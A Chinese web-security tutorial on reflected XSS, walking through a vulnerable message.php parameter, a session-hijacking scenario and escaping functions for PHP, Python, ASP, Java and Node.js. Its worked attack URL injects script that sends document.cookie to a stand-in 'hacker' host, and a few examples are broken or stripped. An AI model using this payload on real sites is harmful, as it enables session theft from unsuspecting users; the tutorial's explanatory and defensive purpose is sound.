对于开发者来说,使用这种方法非常方便,因为这样的解决方法可方便的将多种不同的消息返回状态,使用一个定制好的信息提示页面。
例如,通过程序参数输出传递的参数到HTML页面,则打开下面的网址将会返回一个消息提示:
代码如下 | 复制代码 |
http://你的网站/xss/message.php?send=Hello,World www.111com.net! |
输出内容:
代码如下 | 复制代码 |
Hello,World www.111com.net! |
此程序功能为提取参数中的数据并插入到页面加载后的HTML代码中,这是XSS漏洞的一个明显特征:如果此程序没有经过过滤等安全措施,则它将会很容易受到攻击。下面我们一起来看如何实施攻击。
在原程序的URL的参数为,替换为我们用来测试的代码:
代码如下 | 复制代码 |
http://www.111com.net /xss/message.php?send= |
页面输出内容则为:
代码如下 | 复制代码 |
当用户在用户浏览器打开的时,将会弹出提示消息。如图1所示:
图1 通过URL传参测试XSS
在目前互联网的Web程序中存在的XSS漏洞,有近75%的漏洞属于这种简单的XSS漏洞。由于这种漏洞需要发送一个包含了嵌入式JavaScript代码的请求,随后这些代码被反射给了发出请求的用户,因此被称为反射型XSS。攻击有效符合分别通过一个单独的请求与响应进行传送和执行,因为也被称为一阶XSS。
利用漏洞
利用XSS漏洞攻击Web程序的其它用户的方式有很多种。最简单的一种攻击方法是,利用XSS漏洞来劫持已通过验证的用户的会话。劫持到已验证的会话后,攻击发起者则拥有该授权用户的所有权限。
利用反射型XSS漏洞进行会话权限劫持的攻击步骤,如图2所示:
图2 反射型XSS漏洞的攻击步骤
(1) 用户正常登录Web应用程序,登录成功会得到一个会话信息的cookie:
例:
代码如下 | 复制代码 |
Set-cookie:sessId = f16e1035c301aa099c971682d806c0c7 f16e1035c301aa099c971682d806c0c7 |
(2) 攻击者将含有攻击代码的URL发送给被攻击人;
例:
代码如下 | 复制代码 |
http://你的网站/xss/message.php?send=%3Cscript%3Edocument.write(‘%3Cimg%20height=0%20width=0%20src=%22 http://hacker.你的网站/xss/cookie_save.php%3Fcookie=%3D’%20+%20encodeURL(document.cookie)%20+%20’%22/%3E’)%3C/script%3E |
(3) 用户打开攻击者发送过来的ULR;
(4) Web应用程序执行用户发出的请求;
(5) 同时也会执行该URL中所含的攻击者的JavaScript代码;
(6) 例子中攻击者使用的攻击代码作用是将用户的cookie信息发送到cookie_save.php这个文件来记录下来;
(7) 攻击者在得到用户的cookie信息后,将可以利用这些信息来劫持用户的会话。以该用户的身份进行登录
可以利用下面这些函数对出现xss漏洞的参数进行过滤
PHP的htmlentities()或是htmlspecialchars()。
Python的cgi.escape()。
ASP的Server.HTMLEncode()。
ASP.NET的Server.HtmlEncode()或功能更强的Microsoft Anti-Cross Site Scripting Library
Java的xssprotect(Open Source Library)。
Node.js的node-validator。